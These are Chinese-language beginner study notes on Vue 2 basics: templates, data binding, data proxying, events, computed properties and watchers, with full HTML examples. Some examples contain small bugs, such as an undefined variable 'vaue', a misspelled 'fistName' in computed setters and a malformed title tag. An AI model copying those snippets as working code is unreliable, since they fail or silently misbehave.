vue 基础
vue: 是一套用于构建用户界面的渐进式JavaScript框架
渐进式: Vue可以自底向上逐层的应用:
简单应用: 只需一个轻量小巧的核心库
复杂应用: 可以引入各式各样的Vue插件
vue特点:
1. 采用组件化(一个.vue文件就是一个组件,直接引用组件即可)模式, 提高代码复用率,且让代码更好维护
2. 声明式编码,让编码人员无需直接操作DOM, 提高开发效率
3. 使用虚拟DOM + 优秀的Diff算法,尽量复用Dom节点
4. 学习Vue之前要掌握的JavaScript基础知识?
ES6语法规范:结构赋值、箭头函数、模板字符串。。。
ES6模块化:默认暴露、分别暴露、统一暴露。。。
包管理器:npm
原型、原型链
数组常用方法:过滤、筛选
axios
promise
...
一. vue基础
js中设置颜色:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | < style > *{ margin-top: 20px; } .demo1{ height: 50px; background-color: skyblue; } .box1{ padding: 5px; background-color: skyblue; } .box2{ padding: 5px; background-color: orange; } .list{ width: 200px; height: 200px; background-color: peru; overflow: auto; } li{ height: 100px; } </ style > |
1.2 插值语法
初识Vue:
1. 想让Vue工作,就必须创建一个Vue实例(new Vue()),且要传入一个配置对象;
2. root容器里的代码依然符合Html规范,只不过混入了一些特殊的Vue语法;
3. root容器里的代码被称为【Vue模板】;
4. Vue实例和容器是一一对应的;
5. 真实开发中只有一个Vue实例,并且会配合着组件一起使用;
6. {{xxx}} 中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
7. 一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | < html > < head > < meta charset="UTF-8"/> < title >初识Vue</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h1 >Hello {{name}}</ h1 > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //创建Vue实例 const x = new Vue({ el:'#root', //el(element) 用于指定当前Vue实例为哪个容器服务 data:{ //data 中用于存储数据,数据供el所指定的容器去使用, 值我们暂时先写成一个对象 name:'Hello' } }) //调用后端 // axios({ // URL: http://127.0.0.1:5500/ // }) </ script > </ body > </ html > |
细节1: 一个实例,如果有2个容器;
第二个容器解析不了 ------>一个实例不能对应多个容器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | < html > < head > < meta charset="UTF-8"/> < title >初识Vue</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div class = "root"> < h1 >Hello {{name}} 1</ h1 > </ div > < div class = "root"> < h1 >Hello {{name}} 2</ h1 > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //创建Vue实例 new Vue({ el:'.root', //el(element) 用于指定当前Vue实例为哪个容器服务 data:{ //data 中用于存储数据,数据供el所指定的容器去使用, 值我们暂时先写成一个对象 name:'Hello' } }) </ script > </ body > </ html > |
控制台不报错,但是第二个容器解析不了;一个实例不能对应多个容器
细节2 : 一个容器对应多个实例
一个容器不能对应多个实例;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | < html > < head > < meta charset="UTF-8"/> < title >初识Vue</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h1 >Hello {{name}} , {{address}}, {{1+1}}, {{ Date.now() }}</ h1 > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //创建Vue实例 new Vue({ el:'#root', //el(element) 用于指定当前Vue实例为哪个容器服务 data:{ //data 中用于存储数据,数据供el所指定的容器去使用, 值我们暂时先写成一个对象 name:'Hello' } }) new Vue({ el:'#root', //el(element) 用于指定当前Vue实例为哪个容器服务 data:{ //data 中用于存储数据,数据供el所指定的容器去使用, 值我们暂时先写成一个对象 address:'上海' } }) </ script > </ body > </ html > |
解析结果:vue.js:634 [Vue warn]: Property or method "address" is not defined on the instance but referenced during render. Make sure that this property is reactive, either in the data option, or for class-based components, by initializing the property
第二个实例解析不了;控制台报错
总结:
注意区分:js表达式 和 js代码(语句)
1. 表达式: 一个表达式会生成一个值,可以放在任何一个需要值得地方
(1). a ;变量
(2). a + b 运算;例如:{{1+1}}
(3). demo(1) 函数表达式:函数调用(name.toUpperCase() )
(4). x === y ? 'a' : 'b' (相等:====; 不相等:!== )
2. js代码(语句)
(1). if (){}
(2). for (){}
(3).
1.3 模板语法
vue模板语法有2大类:
1. 插值语法:
功能:用于解析标签体内容;
写法:{{xxx}}, xxx是js表达式,且可以直接读取到data中的所有属性;
2. 指令语法
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件。。。)
举例:v-bind:href="xxx" 或 简写为 : href="xxx", xxx同样要写js表达式,且可以直接读取到data中的所有属性;
备注:Vue中有很多的指令,且形式都是:v-??? , 此处只是拿v-bind举个例子;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | < html > < head > < meta charset="UTF-8"/> < title >初识Vue</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h1 >插值语法</ h1 > < h3 >你好,{{name}}</ h3 > < hr /> < h1 >指令语法</ h1 > <!-- v-bind:使后面的变量成为一个表达式 v-bind:还可以简写成: --> < a v-bind:href="school.url.toUpperCase()">学校名称:{{school.name}}</ a > < a :href="url">学习2</ a > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ name:'java', school:{ name:'南翔技校', url:'http://baidu.com' } } }) </ script > </ body > </ html > |
1.4 数据绑定
Vue中有2种数据绑定的方式:
1. 单向绑定(v-bind): 数据只能从data流向页面;
2. 双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data;
备注:a. 双向绑定一般都应用在表单类元素上(如: input、select。。)
b. v-model:value 可以简写为 v-model, 因为 v-model默认收集的就是value值;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | < html > < head > < meta charset="UTF-8"/> < title >初识Vue</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> <!-- v-bind:是一个单向数据绑定 --> 单向数据绑定:< input type="text" v-bind:value="name" /> <!-- v-model:是一个双向数据绑定 --> 双向数据绑定:< input type="text" v-model:value="name" /> <!-- 如下代码是错误的,因为v-model 只能应用在表单类元素(单选、多选、文本框、下拉框。。。) --> < h2 v-model:x="name">你好</ h2 > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ name:'java' } }) </ script > </ body > </ html > |
或简写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | < html > < head > < meta charset="UTF-8"/> < title >初识Vue</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> <!-- 单向数据绑定:<input type="text" v-bind:value="name" /> --> <!-- 双向数据绑定:<input type="text" v-model:value="name" /> --> <!-- 简写代码 --> 单向数据绑定:< input type="text" :value="name" /> 双向数据绑定:< input type="text" v-model="name" /> </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ name:'java' } }) </ script > </ body > </ html > |
1.5 el与data的两种写法
el与data的2种写法:
a. el有2种写法:
(1)new Vue时候配置el属性
(2)先创建Vue实例,随后再通过vm.$mount('#root')指定el的值
b. data有2种写法
(1)对象式
(2)函数式
如何选择:目前哪种写法都可以,一旦用组件时,data必须使用函数式,否则会报错;
c. 一个重要的原则
由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了;
1.5.1 el的两种写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | < html > < head > < meta charset="UTF-8"/> < title >初识Vue</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h1 >你好,{{name}}</ h1 > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //el的2种写法 const x = new Vue({ // el:'#root', //第一种写法 data:{ name:'hello' } }) console.log(x) // 第二种写法 // x.$mount('#root') // 定时器 ,1s之后执行 setTimeout(() => { x.$mount('#root') }, 1000); </ script > </ body > </ html > |
1.5.2 data的两种写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | < html > < head > < meta charset="UTF-8"/> < title >初识Vue</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h1 >你好,{{name}}</ h1 > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //data的两种写法 new Vue({ el:'#root', // data的第一种写法 // data:{ // name:'java' // } // 写组件时,只能用下面的方式 //data的第二种写法:函数式--返回一个对象 data:function(){ console.log('@@', this) //此处的this是Vue实例对象 return { name:'Hello' } } //或 /* data(){ console.log('@@', this) //此处的this是Vue实例对象 return { name:'Hello' } } */ //如果是下面的写法;this代表是window;=>中没有this /* data:()=>{ console.log('@@', this) //此处的this是Vue实例对象 return { name:'Hello' } } */ }) </ script > </ body > </ html > |
1.6 MVVM模型
MVVM模型:
1. M:模型(Model) --- data中的数据
2.V: 视图(View) --- 模板代码
3.VM: 视图模型(viewModel) --- Vue实例
观察发现:a. data中所有的属性,最后都出现在了VM身上
b. vm身上所有的属性,及 Vue原型上所有属性,在Vue模板中都可以直接使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | < html > < head > < meta charset="UTF-8"/> < title >初识Vue</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> <!-- {{xxx}} xxx是vm上的东西,vm上的都能用 --> < h1 >学校名称:{{name}}</ h1 > < h1 >学校地址:{{address}}</ h1 > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 //data const vm = new Vue({ el:'#root', data:{ name:'java', address:'上海' } }) console.log('#@@', vm) </ script > </ body > </ html > |
1.7 数据代理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | < html > < head > < meta charset="UTF-8"/> < title >Object.defineproperty</ Object ></ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> </ div > < script type="text/javascript"> //下面的person属性,是可以直接被修改或删除的 let num = 18 let person = { name:'张三', sex:'男' } //age 不可枚举 // Object.defineProperty(person, 'age',{ // value:16 // }) // 如果希望age可枚举; enumerable 控制属性是否可以枚举,默认值是false; //如果enumerable为true, age属性是不可以被修改的;如果希望修改age: writable设置为true //writable 控制属性是否可以被修改,默认值是false; //configurable 控制属性是否可以被删除,默认值是false; Object.defineProperty(person, 'age',{ //追加属性 // value:16, // enumerable:true, // writable:true, // configurable:true, //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值 get:function(){ console.log('有人读取age属性了') return num }, //或 /* get(){ return num } */ //当有人修改person的age属性时,set函数(setter)就会被调用,且会受到修改的具体值 set(value){ console.log('有人修改了age属性,且值是:', vaue) num = value } }) console.log(person) </ script > </ body > </ html > |
什么是数据代理?
1 | 数据代理: 通过一个对象代理对另一个对象中属性的操作(读或写) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | < html > < head > < meta charset="UTF-8"/> < title >什么是数据代理</ title > </ head > < body > <!-- 数据代理: 通过一个对象代理对另一个对象中属性的操作(读或写) --> < script type="text/javascript"> let obj = {x:10} let obj2 = {y:20} //通过一个obj2代理对obj中属性x的操作 Object.defineProperty(obj2, 'x',{ get(){ return obj.x }, set(value){ obj.x = value } }) </ script > </ body > </ html > |
vue中的数据代理:
1. vue中的数据代理:
通过vm对象来代理data对象中属性的操作(读/写)
2. vue中数据代理的好处
更加方便的操作data中的数据
3. 基本原理
通过Object.defineProperty()方法把data对象中所有属性添加到vm上。为每一个添加到vm上的属性,都指定一个getter或setter。
在getter或setter内部去操作(读或写)data中对应的属性;
1.8 事件处理
1.8.1 事件的基本使用:
1. 使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名称;
2. 事件的回调需要配置在methods对象中,最终会在vm上;
3. methods中配置的函数,不要用箭头函数!否则this就不是vm了;
4. methods中配置的函数,都是被vue所管理的函数,this的指向是vm 或 组件实例对象;
5. @click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | < html > < head > < meta charset="UTF-8"/> < title >Vue中的数据代理</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h2 >欢迎学习:{{name}}</ h2 > <!-- v-on:当什么时候 --> <!-- <button v-on:click="showInfo">点我提示信息</button> --> <!-- 上面的简写 --> < button @click="showInfo">点我提示信息1(不传参)</ button > < button @click="showInfo2($event, 66)">点我提示信息2(传参)</ button > </ div > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ name:'java', }, //函数回调只能写在Vue实例里面 methods:{ showInfo(event){ //event.target 表示事件的标签 console.log(event.target) //打印: < button >点我提示信息</ button > console.log(this == vm); //this = vm alert('欢迎学习java') }, showInfo2(event, num){ console.log(event, num) alert('Hello') } } }) </ script > </ body > </ html > |
1.8.2 事件的修饰符
vue中的事件修饰符:
1. prevent : 阻止默认事件(常用) ;
2. stop : 阻止事件冒泡(常用);
3. once : 事件只触发一次(常用);
4. capture : 使用事件的捕获模式;
5. self : 只有event.target是当前操作的元素时才触发事件;
6. passive : 事件的默认行为立即执行。无需等待事件回调执行完毕;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | < html > < head > < meta charset="UTF-8"/> < title >Vue中的数据代理</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > < style > <!-- 每个模块之间隔开20px --> *{ margin-top: 20px; } .demo1{ height: 50px; background-color: skyblue; } .box1{ padding: 5px; background-color: skyblue; } .box2{ padding: 5px; background-color: orange; } .list{ width: 200px; height: 200px; background-color: peru; overflow: auto; } li{ height: 100px; } </ style > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h2 >欢迎学习:{{name}}</ h2 > <!-- 阻止默认调用事件 --> < a href="http://baidu.com" @click.prevent="showInfo">点我提示信息</ a > <!-- 阻止事件冒泡 --> < div class="demo1" @click="showInfo"> < button @click.stop="showInfo">点我提示信息</ button > <!-- 修饰符可以连续写 --> < a href="http://baidu.com" @click.stop.prevent="showInfo">点我提示信息</ a > </ div > <!-- 事件只触发一次 --> < div class="box1" @click.capture="showMsg(1)"> div1 < div class="box2" @click="showMsg(2)"> div2 </ div > </ div > <!-- 只有event.target是当前操作的元素时才触发事件 --> < div class="demo1" @click.self="showInfo"> < button @click="showInfo">点我提示信息</ button > </ div > <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 --> < ul @scroll="demo" class="list"> < li >1</ li > < li >2</ li > < li >3</ li > < li >4</ li > </ ul > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ name:'java', }, methods:{ showInfo(e){ alert("同学好") }, showMsg(msg){ console.log(msg); }, demo(e){ for (let i = 0; i < 100000 ; i++) { console.log('#'); } alert("累坏了") } } }) </script> </ html > |
1.8.3 键盘事件
1. vue中常用的按键别名
回车 => enter
删除 => delete(捕获“删除” 和 “退格”键)
退出 => esc
空格 => space
换行 => tab(特殊,必须配合keydown使用)
上 => up
下 => down
左 => left
右 => right
2. Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab - case (短横线命名)
3. 系统修饰符(用法特殊):ctrl、alt、shift、meta(win)
a. 配合keyup使用:按下修饰键的同时+按下其他键,随后释放其他键,事件才被触发;
b. 配合keydown使用:正常触发事件;
c. 系统修饰符配合其他键,可以用来做一些限制
1 2 | <!-- 需求:按下ctrl + y 才触发函数的调用,ctrl + 其他键不能触发函数 --> < input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo" /> |
4. 也可以使用keyCode 去指定具体的按键(不推荐);
5. Vue.config.keyCodes.自定义键名 = 键码, 可以去定制按键别名;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | < html > < head > < meta charset="UTF-8"/> < title >键盘事件</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h2 >欢迎学习:{{name}}</ h2 > < input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo" /> <!-- 大小写按键CapsLock,像这种多个单词组成的,需要像下面这样用"-"分隔单词,单词都要小写 --> < input type="text" placeholder="按下回车提示输入" @keyup.caps-lock="showInfo" /> </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ name:'java', }, methods:{ showInfo(e){ // 可以显示按键和按键对应的编码 // console.log(e.key, e.keyCode); //获取input输入的值 console.log(e.target.value); } } }) </ script > </ html > |
1.9 计算属性
计算属性:
定义:要用的属性不存在,要通过已经有得属性计算得来;
原理: 底层借助了Object.defineproperty方法提供的getter和setter;
get函数什么时候执行?
a.初次读取时会执行一次
b.当依赖的数据发生改变时会被再次调用;
优势: 与methods实现相比,内部有缓存机制(复用),效率更高
备注:
a.计算属性最终会出现在vm上,直接读取使用即可;
b.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变;
1.9.1. 姓名案例_插值语法实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | < html > < head > < meta charset="UTF-8"/> < title >插值语法</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h2 >欢迎学习:{{name}}</ h2 > 姓: < input type="text" v-model="firstName"/> < br />< br />< br /> 名: < input type="text" v-model="lastName"/>< br />< br /> 全名:< span >{{firstName.slice(0,3)}}-{{lastName}}</ span > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' }, methods:{ } }) </ script > </ html > |
1.9.2.姓名案例_methods实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | < html > < head > < meta charset="UTF-8"/> < title >methods</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> 姓: < input type="text" v-model="firstName"/> < br />< br />< br /> 名: < input type="text" v-model="lastName"/>< br />< br /> 全名:< span >{{fullName()}}</ span > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' }, methods:{ fullName(){ return this.firstName+'-'+this.lastName } } }) </ script > </ html > |
1.9.3.姓名案例_计算属性实现
data中的属性和methods中的方法都是vm实例本身的;但是计算属性不是,不能用vm实例直接调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | < html > < head > < meta charset="UTF-8"/> < title >计算属性</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> 姓: < input type="text" v-model="firstName"/> < br />< br />< br /> 名: < input type="text" v-model="lastName"/>< br />< br /> 全名:< span >{{fullName}}</ span > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' }, computed:{ fullName:{ // get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值 /* get什么时候调用? 1. 初识读取fullName时 2. 所依赖的数据发生变化时 */ get(){ return this.firstName+'-'+this.lastName //this代表vm }, // set什么时候调用?fullName被修改时 set(value){ const arr = value.split('-') this.fistName = arr[0] this.lastName = arr[1] } } } }) </ script > </ html > |
计算属性简写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | < html > < head > < meta charset="UTF-8"/> < title >计算属性</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> 姓: < input type="text" v-model="firstName"/> < br />< br />< br /> 名: < input type="text" v-model="lastName"/>< br />< br /> 全名:< span >{{fullName}}</ span > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' }, computed:{ /* //完整写法 fullName:{ // get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值 // get什么时候调用? 1. 初识读取fullName时 // 2. 所依赖的数据发生变化时 get(){ return this.firstName+'-'+this.lastName //this代表vm }, // set什么时候调用?fullName被修改时 set(value){ const arr = value.split('-') this.fistName = arr[0] this.lastName = arr[1] } } */ //计算属性简写(如果确定fullName只被读,不被写) fullName(){ return this.firstName+'-'+this.lastName //this代表vm } } }) </ script > </ html > |
2.0 监视属性-watch
监视属性-watch
1. 当被监测的属性变化时,回调函数自动调用,进行相关操作;
2. 监视的属性必须存在,才能进行监视;
3. 监视的两种写法:
a. new Vue()实例时传入watch配置;
b. 通过vm.$watch监视
2.0.1.天气案例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | < html > < head > < meta charset="UTF-8"/> < title >监视属性--天气案例</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h2 >今天天气很{{info}}</ h2 > <!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 --> <!-- <button @click="isHot = !isHot">切换天气</button> --> < button @click="changeWeather">切换天气</ button > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 new Vue({ el:'#root', data:{ isHot:true }, computed:{ info(){ return this.isHot ? "炎热" : "凉爽" } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, }) </ script > </ html > |
2.0.2.天气案例_监视属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | < html > < head > < meta charset="UTF-8"/> < title >天气案例_监视属性</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h2 >今天天气很{{info}}</ h2 > < button @click="changeWeather">切换天气</ button > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ isHot:true }, computed:{ info(){ return this.isHot ? "炎热" : "凉爽" } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, //watch是一个配置对象: 对属性进行监测 //创建vm实例时,就知道要监视的属性 watch:{ //下面的值是被监测的属性 isHot:{ //初始化时让handler调用一下 immediate:true, //handler什么时候调用? 当isHot发生改变时 handler(newValue, oldValue){ console.log(newValue, oldValue) } } } }) //watch的简写(一开始创建vm实例的时候,不知道要监视的属性) vm.$watch('isHot', { //初始化时让handler调用一下 immediate:true, //handler 什么时候调用? 当isHot发生改变时 handler(newValue, oldValue){ console.log(newValue, oldValue) } }) </ script > </ html > |
2.0.3 深度监视
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | < html > < head > < meta charset="UTF-8"/> < title >天气案例_深度监视</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 深度监视 1. Vue中的watch默认不监视对象内部值得改变(一层) 2. 配置deep:true可以监测对象内部值改变(多层) 备注: 1. Vue自身可以监测对象内部值得改变。但Vue提供的watch默认不可以; 2. 使用watch时根据数据的具体结构。决定是否采用深度监视; --> <!-- 准备一个容器--> < div id = "root"> < h2 >今天天气很{{info}}</ h2 > < button @click="changeWeather">切换天气</ button > < hr /> < h3 >a的值是:{{numbers.a}}</ h3 > <!-- 监视a的变化 --> < button @click="numbers.a++">点我让a加1</ button > < h3 >a的值是:{{numbers.b}}</ h3 > <!-- 监视b的变化 --> < button @click="numbers.b++">点我让b加1</ button > </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ isHot:true, numbers:{ a:1, b:1 } }, computed:{ info(){ return this.isHot ? "炎热" : "凉爽" } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, //watch是一个配置对象: 对属性进行监测 //创建vm实例时,就知道要监视的属性 watch:{ //下面的值是被监测的属性 isHot:{ //初始化时让handler调用一下 immediate:true, //handler 什么时候调用? 当isHot发生改变时 handler(newValue, oldValue){ console.log(newValue, oldValue) } }, //监视多级机构中某个属性的变化 /* 'numbers.a':{ handler(){ console.log('a被改变了'); } } */ //监视多级机构中所有属性的变化 'numbers':{ deep:true, handler(){ console.log('numbers被改变了'); } } } }) </ script > </ html > |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | < html > < head > < meta charset="UTF-8"/> < title >天气案例_监视属性_简写</ title > <!-- 引入Vue--> < script type="text/javascript" src="../js/vue.js"></ script > </ head > < body > <!-- 准备一个容器--> < div id = "root"> < h2 >今天天气很{{info}}</ h2 > < button @click="changeWeather">切换天气</ button > < hr /> </ div > </ body > < script type="text/javascript"> Vue.config.productionTip=false //阻止Vue在启动时生成生产提示 const vm = new Vue({ el:'#root', data:{ isHot:true }, computed:{ info(){ return this.isHot ? "炎热" : "凉爽" } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, //watch是一个配置对象: 对属性进行监测 //创建vm实例时,就知道要监视的属性 watch:{ //正常写法 /* isHot:{ //初始化时让handler调用一下 immediate:true, //handler 什么时候调用? 当isHot发生改变时 handler(newValue, oldValue){ console.log(newValue, oldValue) } }, */ //简写 /* isHot(newValue, oldValue){ console.log(newValue, oldValue); } */ } }) //正常写法 /* vm.$watch('isHot', { //初始化时让handler调用一下 immediate:true, //handler 什么时候调用? 当isHot发生改变时 handler(newValue, oldValue){ console.log(newValue, oldValue) } }) */ vm.$watch('isHot', function(newValue, oldValue){ console.log(newValue, oldValue) }) </ script > </ html > |
计算属性 vs 侦听属性
computed和watch之间的区别:
1. computed能完成的功能,watch都可以完成;
2. watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作;
两个重要的小原则:
a. 被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象;
b. 所有不被Vue所管理的函数(定时器的回调函数、Ajax的回调函数等),最好写成箭头函数,这样this的指向才是vm或组件实例对象;
侦听属性
